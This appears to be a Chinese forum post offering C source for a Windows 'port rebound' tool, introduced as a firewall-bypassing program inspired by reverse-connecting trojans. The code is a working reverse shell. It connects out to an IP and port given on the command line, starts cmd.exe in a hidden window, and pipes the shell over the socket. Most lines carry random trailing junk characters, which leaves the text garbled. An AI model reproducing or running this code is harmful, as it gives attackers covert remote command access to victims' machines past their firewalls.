Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 wc4BSJa,19  
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/* ============================== $zjdCg<  
Rebound port in Windows NT VIP7j(#t_g  
By wind,2006/7 p/HDG ^T:u  
===============================*/ LnI  
#include 7t:RQ`$:  
#include @a?7D;+<  
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#pragma comment(lib,"wsock32.lib") rm,`M  
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void OutputShell(); J{1H$[W~}  
SOCKET sClient; GBbnR:hM  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `.W2t5Y  
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void main(int argc,char **argv) (?na|yd  
{ &3[oM)-V  
WSADATA stWsaData; T$xBH  
int nRet; h^yqrDyJ  
SOCKADDR_IN stSaiClient,stSaiServer; 'p&,'+x  
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if(argc != 3) E+]9!fDy<  
{ ixdsz\<  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,twx4r^  
return; cQU;PH]  
} KhHFJo[8sf  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?l0Qi  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <-umeY"n>  
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stSaiClient.sin_family = AF_INET; -b(DPte  
stSaiClient.sin_port = htons(0); 4I$Y(E}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) x#>V50E  
{ @Jzk2,rI  
printf("Bind Socket Failed!\n"); =*2,^j  
return; i})s4%a  
} *;Jb=  
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stSaiServer.sin_family = AF_INET; nI\6aG?`  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,QY$:f<  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); > N~8#C  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) EhcJE;S)  
{ }aZuCe_  
printf("Connect Error!"); O$,Fga  
return; #S}orWj  
} +[7~:e}DZ  
OutputShell(); )6OD@<r{  
} kA:mB;:  
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void OutputShell() sdFHr4  
{ v@_1V  
char szBuff[1024]; V(MYReaPC]  
SECURITY_ATTRIBUTES stSecurityAttributes; )^>LnQ_u  
OSVERSIONINFO stOsversionInfo; o*cu-j3  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3gA
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STARTUPINFO stStartupInfo; 0a~t  
char *szShell; Hn|W3U  
PROCESS_INFORMATION stProcessInformation; A3jxjQ  
unsigned long lBytesRead; hyI7X7Hy  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); k9Pvh,_wp  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); uzYB`H<  
stSecurityAttributes.lpSecurityDescriptor = 0; y>I2}P  
stSecurityAttributes.bInheritHandle = TRUE; n5:uG'L\  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &d_^k.%y  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l2D*b93  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); st-{xC#N#  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q+:y  
stStartupInfo.wShowWindow = SW_HIDE; F-&tSU,  
stStartupInfo.hStdInput = hReadPipe; %Bs. XW,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 02;jeZ#z  
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GetVersionEx(&stOsversionInfo); pv_o4qEN  
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switch(stOsversionInfo.dwPlatformId) %w;qu1j  
{ ~tDYo)hH8  
case 1: $J[( 3  
szShell = "command.com";
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break; cD
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default: r&gvP|W%  
szShell = "cmd.exe"; CIudtY(:  
break; MpV<E0CmE  
} B*,6;lCjX  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6(n0{A  
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send(sClient,szMsg,77,0); ]C_+u_9  
while(1) iRQ!J1SGcG  
{ i8]EIXbMX  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ohx[_}xN  
if(lBytesRead) m,.Y:2?*V  
{ Y;i=c6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kAftW
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send(sClient,szBuff,lBytesRead,0); c%H' jB[  
} 1`cH EAa  
else X/5m}-6d]  
{ PR:k--)D  
lBytesRead=recv(sClient,szBuff,1024,0); .#[
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if(lBytesRead<=0) break; XwH>F7HPe  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <BR^Dv07U  
} #M-!/E  
} 8$(I! ;  
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return; HC iRk1  
}